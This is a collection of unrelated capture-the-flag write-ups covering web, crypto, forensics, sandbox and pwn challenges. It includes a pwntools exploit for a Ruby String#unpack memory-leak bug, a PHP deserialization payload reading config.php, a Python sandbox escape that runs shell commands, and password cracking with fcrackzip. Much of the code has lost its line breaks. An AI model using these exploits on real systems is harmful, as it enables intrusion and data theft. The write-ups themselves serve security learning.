Answer--- 1. Who is N30? (https://neverlanctf.com/creators) 2. N30 is (Zane Durkin, co-founder of neverlan - much props bro) 3. After some poking around i found his github (https://github.com/durkinza) 4. Which again led me to the repo "KeyZ" (https://github.com/durkinza/KeyZ) 5. After trying to download the smaz-compression part, which led me into nothingness i tried to utalize the ./key function
6. After several tries i read the man documentation which lead me to: " key -g poetry "Shakespeare's Tenth Sonnet "
7. I tried the following: " root@cccp:~/_git/KeyZ# ./key -g /root/_ctf/neverlanctf/keyz/passwords.keyz "flag" "
Flag:--- flag{bu7_1ts_pr0pr1etary} |
[Tineh Nimjeh's Live set]---Question:--- Flag located in livestream
Answer--- 1. Flag is located at 29:14
Flag:--- flag{HE_IS_A_TURTLE_NINJA} |
# 35C3 Junior CTF – McDonald
* **Category:** Web* **Points:** 44 (variable)
## Challenge
> Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores..>> http://35.207.91.38
## Solution
Visiting `http://35.207.91.38/robots.txt` will reveal the following content.
```User-agent: *Disallow: /backup/.DS_Store```
So the `http://35.207.91.38/backup/.DS_Store` will download a `.DS_Store` file.
According to [Wikipedia](https://en.wikipedia.org/wiki/.DS_Store):> In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image.
The [https://github.com/lijiejie/ds_store_exp](https://github.com/lijiejie/ds_store_exp) script could be used to download and extract hidden data.
```./ds_store_exp.py http://35.207.91.38/backup/.DS_Store```
The flag will be into `backup/b/a/c/flag.txt`.
```35c3_Appl3s_H1dden_F1l3s``` |
[Return of the Sith - Part 2]---Question:--- Since they got in with VNC, they were locked into his user account, without any root access. The user used SUDO for 'protection' so that means he’s safe from the attacker getting his password, right? The goal here is to figure out if the user was able to escalate to root without having the user's password. DO BE CAREFUL since messing with a VM has the ability to remove traces of what you’re looking for. This IS a forensics challenge.
Answer--- 1. After traversing the logs for quite some time, i discovered the .xd folder 2. In the .xd folder there was hiding a sudo-stealer:
Flag:--- flag{CHECK-OUT-MY-SUDO-STEALER} |
[s7a73farm live set]---Question:--- Watch the Live DJ stream Feb 2nd 7pm MST 2am UTC url: live.neverlanctf.com Did you see it?
Answer--- Stream: https://chew.tv/s7a73farm/neverlanctf-2019 Time: 29:27 Flag: flag{Thanks_04_Watching}
Flag:--- flag{Thanks_04_Watching} |
[Unexpected intruder]---Question:--- Occurring in Chicago, Illinois, United States, on the evening of November 22. There was an interruption like nothing we had ever seen before. What was the name of the Intruder?
Answer--- 1. Googling the dates it leads me to the intrusion of the WGN-TV News Network 2. After reading this article https://www.damninteresting.com/remember-remember-the-22nd-of-november/
Flag:--- maxheadroom |
[Webcipher]---Question:--- To verify that only computers can access the website, you must reverse the Caesar cipher There are a list of possible words that the cipher may be here https://challenges.neverlanctf.com:1160
Answer--- 1. You are prompted with information about a caesar cipher
2. jllnunajcxa in ROT17 = accelerator 3. Insert accelerator on site:
Flag:--- flag{H3llo_c4es3r} |
scaned QRcode with zbarimag and got the following output
QR-Code:https://www31.zippyshare.com/v/09nlhIKo/file.htmlscanned 1 barcode symbols from 1 images in 0.03 seconds
We get a zip file named flag.zip from the link, unzip needs a passcode so a quick fcrackzip with the rockyou.txt wordlist
`fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt flag.zip`
`PASSWORD FOUND!!!!: pw == !!!0mc3t`
unzips to give the file flag.txt file which has a hex encoded string in side.
`652076206c207a207b207320302075206e2064205f20302066205f206d2075203520692063207d206320742066`
decoding that we get the flag
`evlz{s0und_0f_mu5ic}ctf`
|
The compression shifts and removes some bits. After couple of tests I've discovered that the password length is 6.First I was thinking about bruteforcing it all, but it can take too much time. So I've decided to create a decompress function and brute force only the unknown bits.
Here is a full python code:```import hashlib, sys
def text_from_bits(s): return ''.join(chr(int(s[i*8:i*8+8],2)) for i in range(len(s)//8)) def drop(b,m): return(b[:m]+b[(m+1):]) def dedrop(b, m): return(b[:m]+'2'+b[m:]) # 2 = unknown bit def shift(b, i): return(b[i:] + b[:i]) def deshift(b, i): return shift(b, len(b) - i)
# filled by compress function for 6 chars password#msaved=[]msaved = [0, 1, 1, 1, 4, 1, 0, 1, 4, 9, 5, 1, 10, 7, 4, 1, 15, 13, 11, 9, 7, 5, 3, 1]#def compress(b):# l = len(b)# i = 1# while(i<l):# m = l%i# msaved.append(m)# b = drop(b,m)# b = shift(b,i)# l = len(b)# i+=1# return b def decompress(b): i = len(msaved) - 1 while i >= 0: m = msaved[i] b = deshift(b, i+1) b = dedrop(b, m) i = i - 1 return b def hash(flag): h = hashlib.sha256() h.update(flag) return h.hexdigest()
flagHash = 'e67753ef818688790288702b0592a46c390b695a732e1b9fec47a14e2f6f25ae'
def brute(b): for i in range(len(b)): if b[i] == '2': # replace unknown bit brute(b[:i] + '0' + b[(i+1):]) brute(b[:i] + '1' + b[(i+1):]) return flag = 'evlz{%s}ctf' % text_from_bits(b) if hash(flag) == flagHash: print flag sys.exit(0) brute(decompress('100001000100110000000100'))```
The flag:```evlz{20o8@d}ctf``` |
This is the final payload to get the flag:```/?gg=O:5:%22SHITS%22:2:{s:10:%22%00SHITS%00url%22;s:33:%22file:///var/www/html/config%252Ephp%22;s:13:%22%00SHITS%00method%22;s:4:%22doit%22;}```
check the source code. |
[SQL Fun 1]---Question:--- REPORT: 'My Customer forgot his Password. His Fname is Jimmy. Can you get his password for me? It should be in the users table' https://challenges.neverlanctf.com:1150
Answer--- SELECT * FROM users WHERE Fname="jimmy"
Comment--- Flag was easy enough, need to construct a SQL-injection query to get info from the users table where firstname -match "jimmy"
Flag:--- flag{SQL_F0r_Th3_W1n} |
In this challenge you will be asked to insert a file extension for the given binary part of a file. You must correctly answer for all questions and then the flag occuers. Some files can be identificated by `file` utility, but I've also used google and guessing.One of the interesting file:```b'652076206c207a207b207320302075206e2064205f20302066'```If you decode it, it looks like a part of the flag, but it is not :)
Python code:```from pwn import *
try: r = remote('35.198.113.131', 60000) print r.recvuntil("\n") print r.recvuntil("\n") while True: f = r.recvuntil("\n") print f
if 'WEBP' in f: print 'WEBP' r.sendline('WEBP') elif '[Content_Types].xml' in f: print 'DOCX' r.sendline('DOCX') elif '#!/bin/bash\\nsudo' in f: print 'SH' r.sendline('SH') elif 'BM|' in f: print 'BMP' r.sendline('BMP') elif 'Date: Sun,' in f: print 'EML' r.sendline('EML') elif 'PNG' in f: print 'PNG' r.sendline('PNG') elif b'%PDF-1.6' in f: print 'PDF' r.sendline('PDF') elif 'KDMV' in f: print 'VMDK' r.sendline('VMDK') elif 'debian' in f: print 'DEB' r.sendline('DEB') elif '#include' in f: print 'C' r.sendline('C') elif 'matroskaB' in f: print 'MKV' r.sendline('MKV') elif 'GIF89' in f: print 'GIF' r.sendline('GIF') elif 'gimp' in f: print 'XCF' r.sendline('XCF') elif 'ELF' in f: print 'ELF' r.sendline('ELF') elif 'ID3' in f: print 'MP3' r.sendline('MP3') elif '7z\\xbc\\xaf' in f: print '7Z' r.sendline('7Z') elif 'CWS' in f: print 'SWF' r.sendline('SWF') elif 'announce' in f: print 'TORRENT' r.sendline('TORRENT') elif 'flag.txt4' in f: print 'ZIP' r.sendline('ZIP') elif 'SQLite' in f: print 'DB' r.sendline('DB') elif '3gp4' in f: print '3GP' r.sendline('3GP') elif '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00' in f: print 'GZ' r.sendline('GZ') elif b'\\x00\\x00\\x01\\x00\\x07\\x00\\x00\\x00' in f: print 'ICO' r.sendline('ICO') elif 'JFIF' in f: print 'JPG' r.sendline('JPG') elif '\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00' in f: print 'PCAP' r.sendline('PCAP') elif '\\xff\\xfe\\r\\x00\\n\\x00' in f: print 'INI' r.sendline('INI') elif '\\xebc\\x90\\xd0\\xbc\\x00' in f: print 'BIN' r.sendline('BIN') elif '\\xed\\xab\\xee\\xdb\\x03\\x00' in f: print 'RPM' r.sendline('RPM') elif 'IDA1' in f: print 'IDB' r.sendline('IDB') elif '652076206c207a207b20' in f: print 'TXT' r.sendline('TXT') elif "version: '3'" in f: print 'YML' r.sendline('YML') else: print f break r.interactive()except: raise```
The flag:```evlz{thanos_tapped_you_back_in}ctf``` |
This challenge was very simple. If you analyze the hashing code, it only uses the lower image dimension for computing the hash.So the simplest solution is uploading two 1x2 pictures:
(black, white - black, black)
```import mathimport hashlibfrom PIL import Image
def HashImage(image): def md5(fname): hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest()
im=image pix=im.load() width, height = im.size small=height if width>height else width pic=[] # picture 1x2: # small = 1 !!!!!!!!!!!!!!!!!!!!!!!!!!!!
for i in range(small): curr=[] for j in range(i,small): curr.append(pix[i,j]) for j in range(i+1,small): curr.append(pix[j,i]) sum,mul,sub=0,1,1000000
if i%3==0: for pixel in curr: sum+=pixel[0] mul*=pixel[1] sub-=pixel[2]
elif i%3==1: for pixel in curr: sum+=pixel[2] mul*=pixel[0] sub-=pixel[1] else: for pixel in curr: sum+=pixel[1] mul*=pixel[2] sub-=pixel[0]
pic.append((sum%256,mul%256,sub%256)) size=int(math.floor(math.sqrt(len(pic)))) pic=pic[0:size*size]
im2 = Image.new('RGB', (size,size),'white') im2.putdata(pic) im2.save("hash.jpg") return md5('hash.jpg')```
The flag:```evlz{md5_is_lub}ctf``` |
```BOSS: It better be secure!!!
Ciphertext https://storage.cloud.google.com/evlzctf2019/Ciphertext.txt
readme https://storage.cloud.google.com/evlzctf2019/Readme.txt
xuts https://storage.cloud.google.com/evlzctf2019/xuts.txt```
Reading through the provided files we see that the key for each message is the key for the last message with the last byte changed and shifted. We are also provided with the key for the 40000 message. With some python magic we can write a simple solver for this that generates a previous key based on the given one until the plaintext is readable and do this for all the messages.After a bit of playing with the ciphertext we observe that it is encrypted using mode ECB so now the only thing left is to write the script which can be found [here](https://github.com/SoulTaku/write-ups/blob/master/evlz/chinese_whisper/chinese_whisper.py) |
[Oink Oink]---Question:---
Answer--- Used Pigpen cipher on https://www.dcode.fr/pigpen-cipher to decode the picture and get the flag
Comment:--- Any comment to the task
Flag:--- FLAG{D0WN_AND_D1R7Y} |
# FireShell CTF Writeups
Fireshell CTF was a decent CTF that took place 1/26/2019. Some of the challenges were pretty cool, but derivative of past challenges. Some of the "cons" of the CTF are that there was unscheduled downtime, late-added challenges, weird dynamic scoring (one of the questions had 3 less solves but was worth twice as many points as another question) and a language barrier that made some questions a bit harder than they needed to be.
I'm composing a couple write-ups for the questions I completed that don't have writeups on ctftime.
# Biggars
### Overview
Given a text file [which I renamed to biggars.py so I could import it easily into my python code] with the variables e, N, C defined. The question's text is pretty irrelevant.
### The Solve
Since the question gives the tuple `(e,N,C)` without any further info, we can immediately assume this is an RSA question (see reference 1). In short, we know `M^e = C mod N` and want to find `d` such that `d*e = 1 mod phi(N)` so we can calculate `C^d = M mod N`. Most of the time RSA questions are solved by computing `phi(N)` after factoring `N`. Sometimes we calculate `d` directly.
Most `N` are around 1024-4096 bits... Taking a look at this one, it is over 500,000 bits long. This is very fishy and my intuition here is that `N` can be factored (and probably very quickly). My first step for RSA problems is always to pop `N` into [factordb.com](factordb.com), but it is too large for the server. The alternative is to enter a `sage` shell and utilize their built-in number theory functionality. Import the three variables into the shell so we can use them, and `factor(N)` to see that `N` can be fully factored in milliseconds! This is good news, and makes the rest of the problem fairly straightforward.
Sage is a real workhorse here. `p = euler_phi(N)` calculates euler's totient for us. Then `d = inverse_mod(e, p)` calculates the multiplicative inverse of `e mod p`, our decryption exponent. Now a quick calculation of `M = pow(C,d,N)` and...
*10 minutes later*
Ok, the calculation still isn't complete, it looks like the numbers may be too big to compute efficiently. To be on the safe side I open a new terminal tab running a `pypy` shell on my Linux laptop alongside the original `sage` tab, and a regular python shell on my beefier desktop to see if either will finish more quickly, and let them compute for awhile. After ~30 minutes, the original sage computation finishes first, yielding the number `M = 2285997671207389169910475407268635357578225559267332896350087006464155634525015356776294350090`. Intuitively, this is a good number to see because if one of my previous steps was incorrect, then `M` would essentially be random bits with length ~= to the length of `N`. Since `M` is so small, it is unlikely to be wrong. My first instinct is to convert this integer to its ascii value, which can be done with the pyCrypto library function long_to_bytes: `from Crypto.Util.number import long_to_bytes`, and finally `print(long_to_bytes(M))`, which yields the flag!
### References
1. [https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Operation](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Operation)1. [http://www.sagemath.org/](http://www.sagemath.org/)1. [https://github.com/dlitz/pycrypto](https://github.com/dlitz/pycrypto)
# Python Learning Environment
### Overview
This question gives a link to a webpage with a hint that implies we are in some sort of limited web shell for python. We have a text box that POSTs our input to the server and responds with the output of our commands. Some basic recon reveals the python web shell is pretty strict and probably want to execute system code to read a file or interact somehow with the OS.
It becomes clear pretty quickly that we can't directly interact with the OS. The webpage has a javascript filter that parses the request and removes certain keywords. The request will print simply a `syntaxerror on line X` whenever something goes wrong, which isn't very descriptive. From my experimentation, I gather:
1. Some strings such as `'os'` and `'subprocess'` are illegal and removed by the javascript filter2. The __builtins__ attribute is cleared - this means no builtin functions such as int(), chr(), etc. Notably, we can't import or use __import__3. Square brackets `[`, `]` are illegal and removed4. Ints are messed with, I didn't figure out exactly how but most ints are converted into another int - so I avoided them completely5. Only the variable `test` is allowed. I'll add a little more challenge by making this a 1-liner. [I was apparently incorrect about this, but it affected my solve]
I generally follow along with the first reference below. The general strategy is to:
1. Access the base object class1. Use that to access the warnings.catch_warnings subclass1. Follow the members to the `__builtins__` attribute of this class1. Use **this** `__import__` to import subprocess1. subprocess.check_output() to run commands
You can follow along at home in a regular python shell by following the guidelines above.
### The Solve
First, doing `test = {}.__class__.__base__.__subclasses__()` works fine and as expected. We now have the classes list.
Second, we need to access the catch_warnings subclass. In our case, it is the 59th element of the list, but we can't directly access it using brackets, and even if we could, we can't directly use an int. So we need an alternative. `dir(test)` gives a list of the methods we can use. `__getitem__` would work, but it gets filtered out by the javascript, so I went with `pop(X)`, which returns the element at the `X` position. This dir also gives us a solution to the `int` problem - `index`.
Next, we can build a tuple to return us the proper int: `(('a')*59+('b')).index('b')` returns 59. Let's add this in to our command: `test = {}.__class__.__base__.__subclasses__().pop((('a')*59+('b')).index('b'))()`. We can append `._module.__builtins__` without issue to get a dict, from which we need to access the value corresponding to the key `'__import__'`.
Fourth, run `print test.keys()` to show we need the 109th value from this list. We could access the corresponding values list and return our value with `test.values()[109]`, but we need to use the same `pop`/`index` workaround as before to get to the `__import__` function: `test = {}.__class__.__base__.__subclasses__().pop((('a')*59+('b')).index('b'))()._module.__builtins__.values().pop((('c')*109+('d')).index('d'))` is the function object for `__import__`! Now we can call it to import subprocess, but since `'subprocess'` is blacklisted, a simple bypass `'sub' + 'pro' + 'cess'` bypasses this.
Finally, since subprocess is imported, we can interact with the system using `subprocess.check_output(cmd)`. First, to enumerate our test system let's run `'ls'` with `subprocess.check_output('ls')`: `print {}.__class__.__base__.__subclasses__().pop((('a')*59+('b')).index('b'))()._module.__builtins__.values().pop((('c')*109+('d')).index('d'))('subprocess').check_output('ls')` prints the directory. Luckily, one of the file names is the flag and we are done!
### References
1. https://gynvael.coldwind.pl/n/python_sandbox_escape1. http://wapiflapi.github.io/2013/04/22/plaidctf-pyjail-story-of-pythons-escape/ |
[Original writeup](https://github.com/StroppaFR/CTF-Writeups/blob/master/2019/Evlz-CTF-2019/Portability.md)
The zip files contains a Web API using Python and Flask.
When reading the **application.py** file, we notice that the flag is loaded from an environment variable.> FLAG = os.getenv("FLAG", "evlz{}ctf")
Obviously our environment doesn't contain the flag but we can look around for the "setenv" or "export" string.
`grep -r ./ -e setenv -e export`
One interesting commented line comes out:> \# export $(echo RkxBRwo= | base64 -d)=ZXZsenthbHdheXNfaWdub3JlX3RoZV91bm5lY2Nlc3Nhcnl9Y3RmCg==
The first base64 string is FLAG and the second the actual flag:> evlz{always_ignore_the_unneccessary}ctf |
TL;DR: For singular elliptic curves, discrete logarithm problem is easier. In this case it was equivalent to discrete log in the additive group of (F_p, +).
Full writeup at https://gitlab.com/n0tsobad/ctf-writeups/tree/master/2019-02-01-nullcon/Singular |
[Original writeup.](https://github.com/StroppaFR/CTF-Writeups/blob/master/2019/Evlz-CTF-2019/Dont-Blink.md)
The file is a GIF file. Each frame consists of a white screen with a seemingly random colored lines. The **persistence of vision** hint tells us to merge all frames of the GIF.
This makes the hand drawn flag appear.> evlz{catch_me}ctf |
[Original writeup.](https://github.com/StroppaFR/CTF-Writeups/blob/master/2019/Evlz-CTF-2019/Find-Me.md)
The binary file is a 64-bit ELF shared object which crashes when trying to execute it.
But we don't need to execute it as the **strings** command shows the following strings:> dWdnYyUzQSUyRiUyRnJpeW0lN0JoZXlfZnJyemZfZWJnZ3JhX2p2Z3VfNjQlN0RwZ3MucGJ6 > %%%02X > GG!, now put that flag on ye head and fly away!! > Nope, wrong flag ye got there m8, try again!
The first line is a base64 encoded string:> uggc%3A%2F%2Friym%7Bhey_frrzf_ebggra_jvgu_64%7Dpgs.pbz
Which is URL encoded string:> uggc://riym{hey_frrzf_ebggra_jvgu_64}pgs.pbz
With a ROT cipher:> http://evlz{url_seems_rotten_with}ctf.com |
[Original writeup.](https://github.com/StroppaFR/CTF-Writeups/blob/master/2019/Evlz-CTF-2019/Jail.md)
When connecting, we are inside a shell script that executes our commands. We can get out with **bash**.
From there we can't see the standard output stream but we can see the standard error stream so we can simply redirect with **1>&2** and find the flag.
bash-4.3$ /bin/ls 1>&2 Desktop Documents Music Pictures Videos bin flag.txt programs bash-4.3$ /bin/ls /bin 1>&2 bash ec.sh echo ls sh bash-4.3$ /bin/ls /usr/bin 1>&2 awk chattr chsh ssh vim wc bash-4.3$ /usr/bin/vim flag.txt 1>&2
> Pass: evlz{0ut_0f_ech0}ctf |
mini converter==================
We are given the following Ruby code:```rubyflag = "FLAG{******************************}"# Can you read this? really???? lol
while true
puts "[CONVERTER IN RUBY]" STDOUT.flush sleep(0.5) puts "Type something to convert\n\n" STDOUT.flush puts "[*] readme!" STDOUT.flush puts "When you want to type hex, contain '0x' at the first. e.g 0x41414a" STDOUT.flush puts "When you want to type string, just type string. e.g hello world" STDOUT.flush puts "When you want to type int, just type integer. e.g 102939" STDOUT.flush
puts "type exit if you want to exit" STDOUT.flush
input = gets.chomp puts input STDOUT.flush
if input == "exit" file_write() exit
end
puts "What do you want to convert?" STDOUT.flush
if input[0,2] == "0x" puts "hex" STDOUT.flush puts "1. integer" STDOUT.flush puts "2. string" STDOUT.flush
flag = 1 elsif input =~/\D/ puts "string" STDOUT.flush puts "1. integer" STDOUT.flush puts "2. hex" STDOUT.flush
flag = 2 else puts "int" STDOUT.flush puts "1. string" STDOUT.flush puts "2. hex" STDOUT.flush
flag = 3 end
num = gets.to_i
if flag == 1 if num == 1 puts "hex to integer" STDOUT.flush puts Integer(input) STDOUT.flush
elsif num == 2 puts "hex to string" STDOUT.flush tmp = [] tmp << input[2..-1] puts tmp.pack("H*") STDOUT.flush else puts "invalid" STDOUT.flush end
elsif flag == 2 if num == 1 puts "string to integer" STDOUT.flush puts input.unpack("C*#{input}.length") STDOUT.flush elsif num == 2 puts "string to hex" STDOUT.flush puts input.unpack("H*#{input}.length")[0] STDOUT.flush else puts "invalid2" STDOUT.flush end
elsif flag == 3 if num == 1 puts "int to string" STDOUT.flush elsif num == 2 puts "int to hex" STDOUT.flush puts input.to_i.to_s(16) STDOUT.flush else puts "invalid3" STDOUT.flush end
else puts "invalid4" STDOUT.flush
end
end
```
Variable `flag`, which holds the flag string, is overwritten with either 1, 2 or 3 as our input type. Our job is to somehow recover that data.
The two conversion cases `"string to integer"` and `"string to hex"` immediately caught my attention since it looked *so offending*. Variable `input` which is completely controlled by our input is interpolated into [format string of String#unpack](https://www.rubydoc.info/stdlib/core/String:unpack) without any validation whatsoever.
The intended code is probably something like:```rubyinput.unpack("C*#{input.length}")```instead of the given```rubyinput.unpack("C*#{input}.length")```
### **Format-string bug?**
After minutes of googling, I found a FSB-style vulnerability + integer overflow in `String#unpack` of Ruby version < 2.5.1 known as [CVE-2018-8778](https://nvd.nist.gov/vuln/detail/CVE-2018-8778). A good article explaining the vulnerability is located [here](https://blog.sqreen.io/buffer-under-read-ruby/).
The vulnerability can be used to acquire arbitrary read, as we can specify any offset and data length to read. By leaking heap memory of lower address, we are able to read the original flag.
Since `"string to integer"` case allows us to print a whole array instead of `"string to hex"` case which prints only the first element, the former is used. Below is the exploit code.
```pythonfrom pwn import *
#context.log_level = 'debug'
p = remote('110.10.147.105', 12137)
p.recvuntil('to exit\n')
targlen = 0x10000for i in range(1, 100): payload = 'a @{}a{} '.format(2**64 - targlen*i, targlen + 0x100) p.sendline(payload) p.recvuntil('hex\n') p.sendline('1') print('memdump #{}'.format(i)) data = p.recvuntil('to exit\n') if 'FLAG{' in data: st = data.find('FLAG{') print(data[st:data.find('}', st)+1]) break```
The exploit code dumps `0x10100` continuous bytes at offset `-0x10000*i` in each loop. When the flag string prefix `'FLAG{'` is found, we print out until the matching end `'}'`.
**FLAG: `Run away with me.It'll be the way you want it`** |
**Description**
> Can you help this restaurant Stack the right amount of Eggs in their ML algorithms?> > Guest challenge by Tethys.> > Note that you need to send a shutdown(2) after you sent your solution. The nmap netcat will do so for you, e.g.: `ncat 35.246.237.11 1 < solution.xml`> > > `/usr/bin/ncat --help | grep -n 1 Ncat 7.60 ( https://nmap.org/ncat )`> > Files here: https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar
**Files provided**
- [juggle.tar](https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar)
**Solution**
At first I wanted to completely skip this challenge because I thought "ML" in the description referred to Machine Learning, not an uncommon theme in difficult CTF challenges. But I'm really glad I got back to it eventually!
In the archive we are given two files:
- `Dockerfile` - contains the script for deploying a Docker container for this challenge, and its run command, which invokes [Xalan](https://xalan.apache.org/) - `challenge.min.xslt` - an [XSLT (Extensible Stylesheet Language Transformations)](https://en.wikipedia.org/wiki/XSLT) file, minified
The first step is to tidy up the `challenge` file with some auto format.
[Auto-formatted `challenge.xslt`](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-12-27-35C3-CTF/files/challenge.xslt)
At this point we can start dissecting the file more comfortably, one bit at a time. The root element, `<xsl:stylesheet>` specifies some XLST "libraries", [`math`](http://exslt.org/math/) and [`common`](http://exslt.org/exsl/index.html). It has two child nodes. The first is a template that matches on `/meal` elements. Based on the description we will have to send the challenge server an XML file, so it seems the root element of our file will be `<meal>`. The other is a template with a name, but no element match, so it will be invoked indirectly by the XSLT itself.
Let us have a closer look at the first template, matching on `/meal`. First, there is an assertion:
```xml<xsl:if test="count(//plate) > 300"> <xsl:message terminate="yes">You do not have enough money to buy that much food</xsl:message></xsl:if>```
If we have more than 300 `<plate>` elements in our submission, the above message is printed and the process is stopped (`terminate="yes"`). Note also the fact that plates are counted with `//plate`, i.e. nested two levels deep (including `<meal>`).
Next, a variable called `chef-drinks` is defined:
```xml<xsl:variable name="chef-drinks"> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value></xsl:variable>```
It seems to be an array of five randomly generated 32-bit unsigned integers (`4294967296 = 0x100000000 = 2^32`).
Finally, the other template is "called", like a function:
```xml<xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="exsl:node-set($chef-drinks)//value"/> <xsl:with-param name="food-eaten" select="1"/> <xsl:with-param name="course" select="course[position() = 1]/plate"/> <xsl:with-param name="drinks" select="state/drinks"/></xsl:call-template>```
The `chef-drinks` variables is given as-is. `food-eaten` is initialised at `1`. `course` is set to all `<plate>` elements in the first `<course>` element of our `<meal>` submission. And finally, `drinks` is initialised to the `<drinks>` element in `<state>`.
Before looking into what `consume-meal` does, we already know / can guess our submission will have this shape:
```xml<meal> <course> <plate>?</plate> <plate>?</plate> ... </course> <course>...</course> ... <state> <drinks> ? </drinks> </state></meal>```
Now we can move onto `consume-meal`. Its first lines declare the parameters we already know about – `chef-drinks`, `food-eaten`, `course`, and `drinks`. Then there are two assertions:
```xml<xsl:if test="$food-eaten > 30000"> <xsl:message terminate="yes">You ate too much and died</xsl:message></xsl:if><xsl:if test="count($drinks) > 200"> <xsl:message terminate="yes">You cannot drink that much</xsl:message></xsl:if>```
Both of these seem to be fatal errors. Since `food-eaten` was initialised at `1`, the first assertion would only make sense if `consume-meal` was called multiple times. And indeed, if we scroll a bit further, we will find that `consume-meal` is called again from within itself, i.e. it is recursive. At each step, it increases `food-eaten` by one. In other words, `food-eaten` is a step counter that cannot go above 30000.
By similar logic, `drinks` must be modified within `consume-meal`, otherwise this assertion could have been made before the initial call. Whatever `drinks` are, we cannot have more than 200 of them.
Finally, we move on to the core of the XSLT. If we have any elements in `$course`, we initialise a couple of variables:
```xml<xsl:if test="count($course) > 0"> <xsl:variable name="c" select="$course[1]"/> <xsl:variable name="r" select="$course[position()>1]"/> <xsl:choose> ... </xsl:choose></xsl:if>```
`c` will refer to the first element of `$course` (since in XML land lists are 1-indexed), and `r` will refer to the remaining elements. Note at this point that `$course` does NOT refer to our `<course>` elements. Recall that `consume-meal` was invoked with `<xsl:with-param name="course" select="course[position() = 1]/plate"/>`, so `$course` will contain the `<plate>` elements of our first `<course>` (on the first iteration).
So with an input like:
```xml<meal> <course> <plate><foo/></plate> <plate><bar/></plate> <plate><baz/></plate> </course> ...</meal>```
During the first call to `consume-meal`, `$c` will be `<plate><foo/></plate>`, and `$r` will be the list of `<plate><bar/></plate>` and `<plate><baz/></plate>`.
After `$c` and `$r` are initialised, there is a large `<xsl:choose>` block, equivalent to a `switch` statement in conventional programming languages. The `<xsl:choose>` element checks to see what is "in" our plates, i.e. what elements are contained in our `<plate>` element. Let us have a look at one of these choices:
```xml<xsl:when test="count($c/paella) = 1"> <xsl:variable name="newdrinks"> <value> <xsl:value-of select="$c/paella + 0"/> </value> <xsl:copy-of select="$drinks"/> </xsl:variable> <xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="$chef-drinks"/> <xsl:with-param name="food-eaten" select="$food-eaten + 1"/> <xsl:with-param name="course" select="$r"/> <xsl:with-param name="drinks" select="exsl:node-set($newdrinks)//value"/> </xsl:call-template></xsl:when>```
In other words, if our `<plate>` contained a `<paella>` element, we will invoke `consume-meal` again with slightly modified parameters:
- `chef-drinks` - `chef-drinks` (the 5 random numbers) remain the same - `food-eaten` - increased by one - `course` - `$r`, i.e. the remaining plates of this `<course>` - `drinks` - `$newdrinks`, created just above, consisting of some value (contained within our `<paella>` element) prepended to the original `$drinks`
By this point it should be pretty clear that this XSLT is in fact a virtual machine! Each `<plate>` will contain an instruction which will modify the state and pass that state onto the next invocation of `consume-meal`. The `<course>` elements are blocks of instructions, in essence behaving like labels. `drinks` are in fact our stack. With a `<paella>` instruction we can push an immediate value to our stack. We can analyse all the instructions one by one:
- `宫保鸡丁` - debug command, prints `chef-drinks` as well as `drinks` - `paella` - push immediate value to stack - `불고기` - duplicate a given element of the stack and push it - `Борщ` - pop top element of `chef-drinks` if it matches top of `drinks` - `दाल` - print the flag if no `chef-drinks` remain - `ラーメン` - push 1 if top of `drinks` is greater than top of `chef-drinks`, 0 otherwise - `stroopwafels` - push 1 if 2nd value in `drinks` is greater than top value in `drinks` - `köttbullar` - move a given element from `drinks` to the top - `γύρος` - remove a given element from `drinks` - `rösti` - add top elements of `drinks` - `לאַטקעס` - subtract top elements of `drinks` - `poutine` - multiply top elements of `drinks` - `حُمُّص` - integer divide top elements of `drinks` - `æblegrød` - jump to a given `<course>` if top of `drinks` is not 0
A limited instruction set, but Turing-complete nonetheless. Of particular note is `दाल` - prints the flag if (and only if) there are no more `chef-drinks`. In fact the 5 random numbers generated at the beginning form an additional stack, one that we cannot directly manipulate. The debug command `宫保鸡丁` prints out the values of `chef-drinks` (as well as our `drinks`), but this is indeed only useful for debugging – each time we run our XML on the server, the numbers are different, and we have no way to send what we saw from the debug command back to the XML file we submitted.
So our XML needs to run instructions that will guess the `chef-drinks` (using `Борщ`) one by one, without seeing their values. The only other instruction dealing with `chef-drinks` is `ラーメン`, which compares the top of our stack `drinks` with the top of the challenge stack `chef-drinks`.
In other words, we need to implement a binary search. We can adapt the pseudo-code for [binary search from Rosetta code](http://rosettacode.org/wiki/Binary_search):
BinarySearch(A[0..N-1], value) { low = 0 high = N - 1 while (low <= high) { // invariants: value > A[i] for all i < low value < A[i] for all i > high mid = (low + high) / 2 if (A[mid] > value) high = mid - 1 else if (A[mid] < value) low = mid + 1 else return mid } return not_found // value would be inserted at index "low" }
Since we only have `>`, the code we will implement is:
high = 0x100000000; low = 0; while (high > low) { var mid = (low + high) >> 1; // integer divide by two if (mid + 1 > number) { high = mid; } else { low = mid + 1; } }
During the CTF, I chose to implement a simple assembler. I was particularly worried about Unicode messing up my instructions (RTL marks, non-canonical ordering, bad copypaste), but of course labels and a minimum of type safety was a plus. Debugging wasn't particularly easy with the remote server, so at some point I also implemented an emulator to test my code.
[Full assembler/emulator script here](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-12-27-35C3-CTF/scripts/Juggle.hx)
